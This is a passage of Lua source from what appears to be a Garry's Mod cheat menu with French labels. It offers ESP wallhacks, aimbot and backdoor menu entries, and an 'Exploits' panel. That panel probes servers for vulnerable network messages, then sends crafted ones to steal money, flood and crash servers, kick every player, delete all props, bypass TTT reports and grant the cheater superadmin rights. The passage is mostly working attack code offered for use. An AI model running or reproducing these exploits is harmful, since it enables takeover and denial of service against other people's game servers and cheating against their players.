7250draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
7251draw.RoundedBox( 0, 6.7, 5, w - 550, 53, Color( 110,110,110, 40 ) )
7252if fiji_style_menu:GetInt() == 2 then
7253draw.RoundedBox( 0, 4, 4, w - 8,
72542,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
7255draw.RoundedBox(
7256 0, 4, h - 6, w - 10, 2,
7257Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7258 )
7259draw.RoundedBox( 0, 4, 6, 2, h - 12,
7260Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7261 )
7262draw.RoundedBox( 0, w - 6, 6, 2, h - 10,
7263Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7264 )
7265elseif fiji_style_menu:GetInt() == 1 then
7266draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1,
72670.5 ) )
7268draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60,
7269 1, 0.5 ) )
7270draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1,
72710.5 ) )
7272draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60,
7273 1, 0.5 ) )
7274else
7275draw.RoundedBox( 0, 4, 4, w - 8, 2, Color(
7276fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7277 255 ) )
7278draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(
7279fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7280 255 ) )
7281draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(
7282fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7283 255 ) )
7284draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(
7285fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7286 255 ) )
7287end
7288
7289if fiji_exist_contentpity:GetInt() == 1 then
7290
7291surface.SetMaterial( fiji_pityhome )
7292surface.SetDrawColor( 255, 255, 255, 255 )
7293surface.DrawTexturedRect( 57, 60, 50, 40 )
7294
7295surface.SetMaterial( fiji_pityesp )
7296surface.SetDrawColor( 255, 255, 255, 255 )
7297surface.DrawTexturedRect( 57, 110, 50, 40 )
7298
7299surface.SetMaterial( fiji_pityaimbot )
7300surface.SetDrawColor( 255, 255, 255, 255 )
7301surface.DrawTexturedRect( 57, 160, 50, 40 )
7302
7303surface.SetMaterial( fiji_pitymisc )
7304surface.SetDrawColor( 255, 255, 255, 255 )
7305surface.DrawTexturedRect( 57, 210, 50, 35 )
7306
7307surface.SetMaterial( fiji_pityexploits )
7308surface.SetDrawColor( 255, 255, 255, 255 )
7309surface.DrawTexturedRect( 57, 254, 50, 40 )
7310
7311
7312surface.SetMaterial( fiji_pitybackdoors )
7313surface.SetDrawColor( 255, 255, 255, 255 )
7314surface.DrawTexturedRect( 57, 303, 50, 40 )
7315
7316
7317surface.SetMaterial( fiji_pityconfig )
7318surface.SetDrawColor( 255, 255, 255, 255 )
7319surface.DrawTexturedRect( 57, 350, 50, 40 )
7320else end
7321
7322surface.SetMaterial( fiji_pitylogo )
7323surface.SetDrawColor( 255, 255, 255, 255 )
7324surface.DrawTexturedRect( 55, 5, 50, 50 )
7325end
7326
7327
7328
7329
7330
7331concommand.Add( "clear_pity", function() -- fiji_sv_existmen
7332BDMenu:Remove()
7333
7334end)
7335
7336
7337if IsValid( BDMenu ) && IsValid( BDMenu:GetParent() ) then
7338LocalPlayer():ConCommand("fiji_sv_existmen 1")
7339else
7340LocalPlayer():ConCommand("fiji_sv_existmen 0")
7341end
7342
7343
7344local tblSideBar = {
7345[1] = { Name = "Dashboard", Func = function( pContent )
7346pContent:Clear()
7347BD:Dashboard( pContent )
7348BD.BtnHovered = 1
7349end },
7350[2] = { Name = "ESP", Func = function( pContent )
7351pContent:Clear()
7352BD:Esp( pContent )
7353BD.BtnHovered = 2
7354end },
7355[3] = { Name = "Aimbot", Func = function( pContent )
7356pContent:Clear()
7357BD:Aimbot( pContent )
7358BD.BtnHovered = 3
7359end },
7360[4] = { Name = "Fun", Func = function( pContent )
7361pContent:Clear()
7362BD:Fun( pContent )
7363BD.BtnHovered = 4
7364end },
7365[5] = { Name = "Exploits", Func = function( pContent )
7366pContent:Clear()
7367BD:Exploits( pContent )
7368BD.BtnHovered = 5
7369end },
7370[6] = { Name = "Backdoors", Func = function( pContent )
7371LocalPlayer():ConCommand("fiji_bckdrs")
7372BDMenu:Remove()
7373BD.BtnHovered = 1
7374end },
7375[7] = { Name = "Options", Func = function( pContent )
7376pContent:Clear()
7377BD:Options( pContent )
7378BD.BtnHovered = 7
7379end },
7380}
7381local pList = vgui.Create( "DScrollPanel", BDMenu )
7382pList:SetSize( 150, BDMenu:GetTall() - 40 )
7383pList:SetPos( 5, 58 )
7384
7385local pContent = vgui.Create( "DPanel", BDMenu )
7386pContent:SetSize( 539, 388 )
7387pContent:SetPos( 155, 6 )
7388pContent.Paint = function( self, w, h)
7389draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
7390end
7391
7392for k,v in SortedPairs( tblSideBar or {} ) do
7393local btn = vgui.Create( "DButton", pList )
7394btn:Dock( TOP )
7395btn:SetSize( pList:GetWide(), 48)
7396btn:SetText( "" )
7397function btn:Paint( w, h )
7398local col = Color( 255, 255, 255, 150 )
7399if not self:IsHovered() || BD.BtnHovered == k then
7400
7401draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,0 ) )
7402else
7403draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,10 ) )
7404end
7405if BD.BtnHovered == k then
7406draw.RoundedBox( 0, 0, 0, w, h, Color( 27, 27, 27, 0 ) )
7407if fiji_style_menu:GetInt() == 2 then
7408draw.RoundedBox( 0, 0, 0, w, 2,
7409Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7410 )
7411elseif fiji_style_menu:GetInt() == 1 then
7412draw.RoundedBox( 0, 0, 0, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 )
7413 )
7414else
7415draw.RoundedBox( 0, 0, 0, w, 2, Color(
7416fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7417 255 ) )
7418end
7419
7420if k != #tblSideBar && k + 1 != BD.BtnHovered then
7421if fiji_style_menu:GetInt() == 2 then
7422draw.RoundedBox( 0, 0, h - 2, w, 5,
7423Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7424 )
7425elseif fiji_style_menu:GetInt() == 1 then
7426draw.RoundedBox( 0, 0, h - 2, w, 5, HSVToColor( CurTime() % 6 * 60, 1,
74270.5 ) )
7428else
7429draw.RoundedBox( 0, 0, h - 2, w, 5, Color(
7430fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7431 255 ) )
7432end
7433end
7434else
7435draw.RoundedBox( 0, 0, 0, w, h, Color( 100, 100, 100,8 ) )
7436end
7437if fiji_exist_contentpity:GetInt() == 0 then
7438draw.SimpleText( v['Name'], "pity_home3", w / 2, h / 2, col, 1, 1 )
7439else end
7440end
7441btn.OnCursorEntered = function(self)
7442if fiji_exist_contentpity:GetInt() == 1 then
7443 --
7444surface.PlaySound( "mat/pityhover.wav" )
7445else end
7446end
7447function btn:DoClick()
7448if fiji_exist_contentpity:GetInt() == 1 then
7449surface.PlaySound( "mat/pityclick.wav" )
7450else
7451end
7452v['Func']( pContent )
7453end
7454end
7455tblSideBar[ BD.BtnHovered ]['Func']( pContent )
7456
7457
7458
7459end)
7460
7461
7462-- Esp Props
7463hook.Add( "HUDPaint", "PropESP", function()
7464for k,v in pairs (ents.FindByClass("prop_physics")) do
7465if fiji_vision_enable_props:GetInt() == 0 then return end
7466if v:GetPos():Distance( LocalPlayer():GetPos() ) >
7467fiji_vision_distance_props:GetInt() then continue end
7468if v:GetPos():Distance( LocalPlayer():GetPos() ) < 90 then continue
7469end
7470
7471cam.Start3D(EyePos(), EyeAngles())
7472if v:IsValid() then
7473cam.IgnoreZ( true )
7474render.SuppressEngineLighting( true )
7475render.SetColorModulation( fiji_principal_color_props:GetInt(),
7476fiji_secondary_color_props:GetInt(), fiji_third_color_props:GetInt(),
7477255)
7478render.SetBlend(0.3)
7479v:DrawModel()
7480cam.IgnoreZ( false )
7481render.SuppressEngineLighting( false )
7482cam.End3D()
7483end
7484end
7485
7486end)
7487
7488-- Esp Players
7489-- Renders
7490function BD:Bones( tbl )
7491for k,v in pairs( tbl ) do
7492if v == LocalPlayer() then continue end
7493if not v:Alive() then continue end
7494for i = 0, v:GetBoneCount() - 1 do
7495local pos = v:GetBonePosition( i )
7496if ( pos == v:GetPos() && v:GetBoneMatrix( i ) ) then
7497pos = v:GetBoneMatrix( i ):GetTranslation()
7498end
7499if ( v:GetBoneName( i ) == "__INVALIDBONE__" ) then continue end
7500if ( v:GetBoneMatrix( i ) ) then
7501cam.Start3D( EyePos(), EyeAngles() )
7502for id, bone in pairs( v:GetChildBones( i ) ) do
7503
7504local pos2 = v:GetBonePosition( bone )
7505if ( pos2 == v:GetPos() && v:GetBoneMatrix( bone ) ) then
7506pos2 = v:GetBoneMatrix( bone ):GetTranslation()
7507end
7508render.DrawLine( pos, pos2, Color(fiji_principal_color:GetInt(),
7509fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), false )
7510end
7511cam.End3D()
7512end
7513end
7514end
7515end
7516hook.Add( "PostDrawOpaqueRenderables", "BD:Hitman:Infos", function()
7517if fiji_vision_enable:GetInt() == 0 then return end
7518local tblPlayers = {}
7519for k,v in pairs( player.GetAll() ) do
7520if v:GetPos():Distance( LocalPlayer():GetPos() ) >
7521fiji_vision_distance_infos:GetInt() then continue end
7522table.insert( tblPlayers, v )
7523end
7524BD:Name( tblPlayers )
7525end)
7526BD.WeaponBlacklist = {
7527['keys'] = true,
7528['weapon_physgun'] = true,
7529['weapon_keypadchecker'] = true,
7530['arrest_stick'] = true,
7531['unarrest_stick'] = true,
7532['stunstick'] = true,
7533['weaponchecker'] = true,
7534['itemstore_pickup'] = true,
7535['weapon_physcannon'] = true,
7536['gmod_camera'] = true,
7537['gmod_tool'] = true,
7538['pocket'] = true,
7539}
7540function BD:Name( tbl )
7541ply = LocalPlayer()
7542for k,v in pairs( tbl ) do
7543if !IsValid( v ) then continue end
7544if v == ply then continue end
7545if not v:Alive() then continue end
7546if v:GetPos():Distance( LocalPlayer():GetPos() ) >
7547fiji_vision_distance_infos:GetInt() then continue end
7548local pos = v:GetPos()
7549pos.z = pos.z + 90
7550local trace = LocalPlayer():GetEyeTrace()
7551local angle = trace.HitNormal:Angle()
7552cam.Start3D2D( pos, Angle( 0, LocalPlayer():EyeAngles().y - 90, 90 -
7553LocalPlayer():EyeAngles().x ), 0.2 )
7554if fiji_vision_infos_name:GetInt() == 1 then
7555draw.SimpleText( "Nom : " .. v:Nick(), "pity_home3", 0, 0,
7556Color(fiji_principal_color_infos:GetInt(),
7557fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(),
7558255 ), 1 )
7559end
7560if fiji_vision_infos_weapons:GetInt() == 1 then
7561local wep = v:GetWeapons()
7562local strText = ""
7563for k,v in pairs( wep ) do
7564if !IsValid( v ) then continue end
7565if BD.WeaponBlacklist[ v:GetClass() ] then continue end
7566strText = strText .. v:GetClass() .. ", "
7567end
7568strText = string.sub( strText, 1, string.len( strText ) - 2 )
7569draw.SimpleText( "Armes : " .. strText, "pity_home3", 0, 15,
7570Color(fiji_principal_color_infos:GetInt(),
7571fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(),
7572255 ), 1 )
7573end
7574if fiji_vision_infos_health:GetInt() == 1 then
7575draw.SimpleText( "Vie : " .. v:Health(), "pity_home3", 0, 35,
7576Color(fiji_principal_color_infos:GetInt(),
7577fiji_secondary_color_infos:GetInt(), fiji_third_color_infos:GetInt(),
7578255 ), 1 )
7579end
7580cam.End3D2D()
7581end
7582end
7583hook.Add( "HUDPaint", "BD:Hitman:HUDPaint", function()
7584if fiji_vision_enable:GetInt() == 0 then return end
7585local tblPlayers = {}
7586for k,v in pairs( player.GetAll() ) do
7587if v:GetPos():Distance( LocalPlayer():GetPos() ) >
7588fiji_vision_distance:GetInt() then continue end
7589table.insert( tblPlayers, v )
7590end
7591if fiji_vision_type:GetInt() == 1 then
7592BD:Bones( tblPlayers )
7593end
7594end)
7595-- Solid
7596local matSolid = CreateMaterial( "BD_Hitman_Solid", "UnlitGeneric", {
7597["$model"] = 1, ["$ignorez"] = 1 } )
7598hook.Add( "PrePlayerDraw", "BD:Hitman:Solid", function( pPlayer )
7599if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt()
7600 == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() )
7601<= fiji_vision_distance:GetInt() then
7602
7603render.MaterialOverride( matSolid )
7604render.SetColorModulation(fiji_principal_color:GetInt(),
7605fiji_secondary_color:GetInt(), fiji_third_color:GetInt())
7606end
7607end )
7608hook.Add( "PostPlayerDraw", "BD:Hitman:Solid", function( pPlayer )
7609if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt()
7610 == 2 && pPlayer:GetPos():Distance( LocalPlayer():GetPos() )
7611<= fiji_vision_distance:GetInt() then
7612render.MaterialOverride()
7613end
7614end)
7615-- Halos
7616hook.Add( "PreDrawHalos", "BD:Hitman:Glow", function()
7617if fiji_vision_enable:GetInt() == 1 && fiji_vision_type:GetInt()
7618 == 3 then
7619
7620local tblPlayers = {}
7621for k,v in pairs( player.GetAll() ) do
7622if not v == LocalPlayer() then return end
7623if not v:Alive() then continue end
7624if v:GetPos():Distance( LocalPlayer():GetPos() ) >
7625fiji_vision_distance:GetInt() then continue end
7626table.insert( tblPlayers, v )
7627end
7628halo.Add( tblPlayers, Color(fiji_principal_color:GetInt(),
7629fiji_secondary_color:GetInt(), fiji_third_color:GetInt(), 255 ), 2, 2,
76305, true, true )
7631end
7632end)
7633
7634--[[HTMLGUI = vgui.Create( "HTML", BDMenu )
7635HTMLGUI:SetSize( 75,55 )
7636HTMLGUI:SetPos( 45,2 )
7637HTMLGUI:OpenURL(
7638"http://image.noelshack.com/fichiers/2018/39/6/1538220360-pitylua-menu.png")
7639]]--
7640
7641
7642
7643---------------------------------------------------------------------------------------------------------
7644---------------------------------------------------------------------------------------------------------
7645
7646
7647
7648function
7649 BD:Exploits( pContent )
7650
7651
7652local BDMenuExploits = vgui.Create("DPanel", pContent)
7653BDMenuExploits:SetSize( 539, 388 )
7654BDMenuExploits:SetPos( 0, 0 )
7655BDMenuExploits.Paint = function( self, w, h)
7656if fiji_style_menu:GetInt() == 2 then
7657draw.RoundedBox( 0, 0, 0, 2, h - 142,
7658Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7659 )
7660draw.RoundedBox( 0, 0, 290, 2, h - 190,
7661Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
7662 )
7663
7664elseif fiji_style_menu:GetInt() == 1 then
7665draw.RoundedBox( 0, 0, 0, 2, h - 142, HSVToColor( CurTime() % 6 * 60, 1,
7666 0.5 ) )
7667draw.RoundedBox( 0, 0, 290, 2, h - 190, HSVToColor( CurTime() % 6 * 60,
76681, 0.5 ) )
7669
7670
7671else
7672draw.RoundedBox( 0, 0, 0, 2, h - 142, Color(
7673fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7674 255 ) )
7675draw.RoundedBox( 0, 0, 290, 2, h - 190, Color(
7676fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7677 255 ) )
7678end
7679
7680
7681end
7682
7683
7684if not snte then
7685function draw.OutlinedBox( x, y, w, h, thickness, clr )
7686surface.SetDrawColor( clr )
7687for i=0, thickness - 1 do
7688surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
7689end
7690end
7691
7692
7693local exploitsScrollPanel = vgui.Create( "DScrollPanel", pContent )
7694exploitsScrollPanel:SetPos(10,0)
7695exploitsScrollPanel:SetSize(520,388)
7696exploitsScrollPanel:InnerWidth(0)
7697local sbar = exploitsScrollPanel:GetVBar()
7698function exploitsScrollPanel:Paint( w, h )
7699draw.SimpleText("Exploits détectées sur le serveur :", "pity_home3",
7700160, 10, Color(255, 255, 255,200), 0, 1)
7701
7702draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
7703end
7704function sbar:Paint( w, h )
7705draw.RoundedBox( 0, 4, 0, w, h, Color( 110,110,110, 20 ) )
7706end
7707function sbar.btnUp:Paint( w, h )
7708draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
7709end
7710function sbar.btnDown:Paint( w, h )
7711draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
7712end
7713function sbar.btnGrip:Paint( w, h )
7714draw.RoundedBox( 0, 4, 0, w, h, Color(110,110,110, 20 ))
7715end
7716--NOTIFICATION("Exploit lançé")
7717totalSploits = 0
7718function addExploit(id, text, desc, func)
7719totalSploits = 1 + totalSploits
7720local id = vgui.Create( "DButton", exploitsScrollPanel )
7721id:SetText( text )
7722id:SetFont("Arial")
7723id:Dock( TOP )
7724id:DockMargin( 0, 39, 0, -37 )
7725id:DockPadding( 0, 30, 0, 0 )
7726id.DoClick = func
7727
7728
7729
7730
7731
7732if desc then
7733end
7734id.Paint = function( self, w, h )
7735
7736id.OnCursorEntered = function(self)
7737end
7738if id:IsHovered() then
7739
7740
7741
7742
7743if fiji_style_menu:GetInt() == 2 then
7744id:SetTextColor(
7745Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
7746
7747surface.SetDrawColor(Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
7748surface.DrawOutlinedRect(
7749 0, 0, w, h )
7750draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
7751elseif fiji_style_menu:GetInt() == 1 then
7752id:SetTextColor( HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
7753surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
7754surface.DrawOutlinedRect( 0, 0, w, h )
7755draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
7756elseif fiji_style_menu:GetInt() == 3 then
7757id:SetTextColor( Color( 255, 255, 255, 255 ) )
7758surface.SetDrawColor(110,110,110, 30)
7759surface.DrawOutlinedRect( 0, 0, w, h )
7760draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
7761else
7762id:SetTextColor( Color(
7763fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7764 255 ) )
7765surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(),
7766 255 )
7767surface.DrawOutlinedRect( 0, 0, w, h )
7768draw.RoundedBox(0,0,0,w,h,Color(110,110,110, 20))
7769end
7770
7771
7772
7773else
7774id:SetTextColor( Color( 255, 255, 255, 40 ) )
7775surface.SetDrawColor(110,110,110, 0)
7776surface.DrawOutlinedRect( 0, 0, w, h )
7777draw.RoundedBox( 0, 0, 0, w, h, Color(110,110,110, 10))
7778end
7779
7780end
7781end
7782
7783//////////////////// [EXPLOITS] ////////////////////
7784status = ValidNetString("TCBBuyAmmo")
7785if (status) then
7786CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
7787addExploit( "1","Munitions Gratuites", "", function()
7788surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7789 CHATPRINT("Getting Le Ammo")
7790--("Exploit lançé")
7791for k,v in pairs(GAMEMODE.AmmoTypes) do
7792net.Start("TCBBuyAmmo")
7793net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
7794net.SendToServer()
7795end
7796end)
7797end
7798
7799status = ValidNetString("DataSend")
7800if (status) then
7801CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
7802addExploit( "2","Voler L'argents De Tous #1", "", function()
7803surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7804 --("Exploit lançé")
7805for k, v in pairs( ents.GetAll() ) do
7806if v:GetClass() == "adv_moneyprinter" then
7807CHATPRINT("Collecting Money")
7808net.Start("DataSend")
7809net.WriteFloat(2)
7810net.WriteEntity(v)
7811net.WriteEntity(LocalPlayer())
7812net.SendToServer()
7813end
7814end
7815end)
7816end
7817
7818
7819status = ValidNetString("FarmingmodSellItems")
7820if (status) then
7821CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
7822addExploit( "3","Argent Gratuite", "", function()
7823--("Exploit lançé")
7824surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7825 CHATPRINT("Enjoy the b1g monies")
7826net.Start("FarmingmodSellItems")
7827net.WriteTable(
7828{
7829Cost = 10,
7830CropModel = "models/props/eryk/garlic.mdl",
7831CropType = 2,
7832Info = "Garlic Seed",
7833Model = "models/props/eryk/seedbag.mdl",
7834Name = "Garlic",
7835Quality = 4,
7836Sell = 99999,
7837Type = "Seed"
7838}
7839)
7840net.WriteInt(1,16)
7841net.SendToServer()
7842end)
7843end
7844
7845status = ValidNetString("start_wd_emp")
7846if (status) then
7847CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
7848addExploit( "4","Hack Keypad", "", function()
7849surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7850 --("Exploit lançé")
7851net.Start("start_wd_emp")
7852net.SendToServer()
7853end)
7854end
7855
7856status = ValidNetString("duelrequestguiYes")
7857if (status) then
7858CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
7859addExploit( "5","Recevoir De L'Argent", "", function()
7860surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7861 --("Exploit lançé")
7862net.Start("duelrequestguiYes")
7863net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
7864net.WriteEntity(table.Random(
7865 player.GetAll() ) )
7866net.WriteString("Crossbow")
7867net.SendToServer()
7868end)
7869end
7870
7871status = ValidNetString("DarkRP_Kun_ForceSpawn")
7872if (status) then
7873CHATPRINT("Exploit Trouvé : ReSpawn #1 [DarkRP_Kun_ForceSpawn]")
7874addExploit( "6", "ReSpawn #1", "", function()
7875surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7876 CHATPRINT("ReSpawn")
7877net.Start("DarkRP_Kun_ForceSpawn")
7878net.SendToServer()
7879end)
7880end
7881
7882status = ValidNetString("SyncPrinterButtons76561198056171650")
7883if (status) then
7884CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2
7885[SyncPrinterButtons76561198056171650]")
7886addExploit( "7","Voler L'argents De Tous #2", "", function()
7887surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7888 CHATPRINT("Collecting Money")
7889for k, v in pairs(ents.GetAll()) do
7890if (v:GetClass() == "adv_moneyprinter") then
7891net.Start("SyncPrinterButtons76561198056171650")
7892net.WriteEntity(v)
7893net.WriteUInt(2, 4)
7894net.SendToServer()
7895end
7896end
7897end)
7898end
7899---------------------------------------------------------------------------------------------
7900local
7901 function report()
7902for i = 1, 2000 do
7903net.Start("DL_Answering")
7904net.SendToServer()
7905end
7906end
7907
7908if (Damagelog) then
7909CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
7910reportSpam = 0
7911addExploit( "1337","Kick Tous Le Monde", "", function()
7912surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7913 if (reportSpam == 0) then
7914--("Starting Kicker")
7915reportSpam = 1
7916timer.Create("reportSpammer", 0.05, 0, report)
7917else
7918--("Stopping Kicker")
7919reportSpam = 0
7920timer.Remove("reportSpammer")
7921end
7922
7923end)
7924end
7925----------------------------------------------------------------------------------------------
7926
7927status
7928 = ValidNetString("SimplicityAC_aysent")
7929if (status) then
7930CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
7931addExploit( "8","Crash #1", "", function()
7932surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7933 CHATPRINT("Goodbye Server")
7934local tbl = {}
7935for i=1,400 do
7936tbl[i] = i
7937end
7938net.Start("SimplicityAC_aysent")
7939net.WriteUInt(1, 8)
7940net.WriteUInt(4294967295, 32)
7941net.WriteTable(tbl)
7942net.SendToServer()
7943end)
7944end
7945
7946status = ValidNetString("RevivePlayer")
7947if (status) then
7948CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
7949addExploit( "9", "Reanimation #1", "", function()
7950surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7951 if !timer.Exists( "reanimation1" ) then
7952--( "Enabled" )
7953timer.Create( "reanimation1", 0.5, 0, function()
7954if !LocalPlayer():Alive() then
7955net.Start("RevivePlayer")
7956net.WriteEntity(LocalPlayer())
7957net.SendToServer()
7958end
7959end)
7960else
7961timer.Remove( "reanimation1" )
7962--( "Disabled" )
7963end
7964end )
7965end
7966
7967status = ValidNetString("NLRKick")
7968if (status) then
7969CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
7970addExploit( "10","Kick Tous Le Monde", "", function()
7971surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7972 --("Kicking All")
7973for k,v in pairs(player.GetAll()) do
7974if v != LocalPlayer() then
7975net.Start("NLRKick")
7976net.WriteEntity(v)
7977net.SendToServer()
7978end
7979end
7980end)
7981end
7982
7983status = ValidNetString("timebombDefuse")
7984if (status) then
7985CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
7986addExploit( "11","Supprimer Tous Les Props", "", function()
7987surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
7988 --("Props De_Stroyed")
7989for k,v in pairs(ents.GetAll()) do
7990net.Start("timebombDefuse")
7991net.WriteEntity(v)
7992net.WriteBool(true)
7993net.SendToServer()
7994end
7995end)
7996end
7997
7998status = ValidNetString("NDES_SelectedEmblem")
7999if (status) then
8000CHATPRINT("Exploit Trouvé : Crée Des Lags #2 [NDES_SelectedEmblem]")
8001addExploit( "12","Crée Des Lags #2", "", function()
8002surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8003 if !timer.Exists( "lagger2" ) then
8004timer.Create("lagger2", 0.5, 0, function()
8005for i=1, 2000 do
8006net.Start("NDES_SelectedEmblem",true)
8007net.WriteString("seized")
8008net.SendToServer()
8009end
8010end)
8011--("Lags Démarré")
8012else
8013timer.Remove("lagger2")
8014--("Lags Arreté")
8015end
8016end)
8017end
8018
8019status = ValidNetString("Morpheus.StaffTracker")
8020if (status) then
8021CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
8022addExploit( "13","Crasher #1", "", function()
8023surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8024 if !timer.Exists( "crasher1" ) then
8025timer.Create("crasher1", 0.5, 0, function()
8026for i=1, 2000 do
8027net.Start("Morpheus.StaffTracker")
8028net.SendToServer()
8029end
8030end)
8031--("Crashing Server")
8032else
8033timer.Remove("crasher1")
8034--( "Canceling Crasher" )
8035end
8036end)
8037end
8038
8039status = ValidNetString("egg")
8040if (status) then
8041CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
8042addExploit( "14","Recevoir Les Easter Eggs", "", function()
8043surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8044 RunConsoleCommand("say", "4bigz")
8045RunConsoleCommand("cc_egg2")
8046net.Start("egg")
8047net.SendToServer()
8048--("Gave Easter Egg")
8049end)
8050end
8051
8052status = ValidNetString("pplay_deleterow")
8053if (status) then
8054CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
8055addExploit( "15","Devenir SuperAdmin", "", function()
8056surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
8057 local id = LocalPlayer():SteamID()
8058local tbl = {}
8059tbl.name = "FAdmin_PlayerGroup"
8060tbl.where = {
8061"steamid",
8062tostring(id)
8063}
8064
8065net.Start("pplay_deleterow")
8066net.WriteTable(tbl)
8067net.SendToServer()
8068local tbl = {}
8069tbl.tblname = "FAdmin_PlayerGroup"
8070tbl.tblinfo = {
8071tostring(id),
8072"superadmin"
8073}
8074net.Start("pplay_addrow")
8075net.WriteTable(tbl)
8076net.SendToServer()
8077--("promotion ;)")
8078end)
8079end
8080
8081-- TTT Bypass Report by daddy grampa
8082
8083local function CheckChild(pan)
8084local title = "You have been reported! Please answer all your reports."
8085if !pan || !IsValid(pan) then return end
8086if pan.GetTitle && pan:GetTitle() == title then
8087pan:Remove();
8088print("Removed warning box")
8089return
8090end
8091for k,v in pairs(pan:GetChildren()) do
8092if v.GetTitle && v:GetTitle() == title then
8093v:Remove();
8094print("Removed warning box")
8095return
8096end
8097if #v:GetChildren() > 0 then
8098CheckChild(v)
8099end
8100end
8101end
8102
8103if (engine.ActiveGamemode() == "terrortown") then
8104bypass = 0
8105CHATPRINT("Exploit Trouvé : TTT Bypass Report")
